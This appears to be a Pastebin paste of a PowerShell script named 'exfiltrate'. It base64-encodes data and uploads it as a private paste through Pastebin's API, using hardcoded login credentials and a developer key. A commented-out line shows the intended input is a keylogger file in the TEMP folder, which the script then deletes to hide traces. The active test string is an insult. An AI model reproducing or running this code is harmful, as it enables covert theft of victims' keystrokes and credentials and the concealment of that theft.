bb860f39

exfiltrate

Apr 23rd, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. function post_http($url,$parameters)
  2. {
  3. $http_request = New-Object -ComObject Msxml2.XMLHTTP
  4. $http_request.open("POST", $url, $false)
  5. $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")
  6. $http_request.setRequestHeader("Content-length", $parameters.length);
  7. $http_request.setRequestHeader("Connection", "close")
  8. $http_request.send($parameters)
  9. $script:session_key=$http_request.responseText
  10. }
  11.  
  12. function exfiltrate($text)
  13. {
  14. $utfbytes = [System.Text.Encoding]::UTF8.GetBytes($text)
  15. $pastevalue = [System.Convert]::ToBase64String($utfbytes)
  16. $pastename = get-date
  17. $password = "9320c635e6c661f4"
  18. $username = "bb860f39"
  19. $dev_key = "be21aa08930d77a9c1242fa84eae3a02"
  20. post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
  21. post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"
  22. }
  23.  
  24. #$data = get-content $env:TEMP\key.log
  25. $data = "fuck ezra klein"
  26. exfiltrate $data
  27. del $env:TEMP\key.log
Add Comment
Please, Sign In to add comment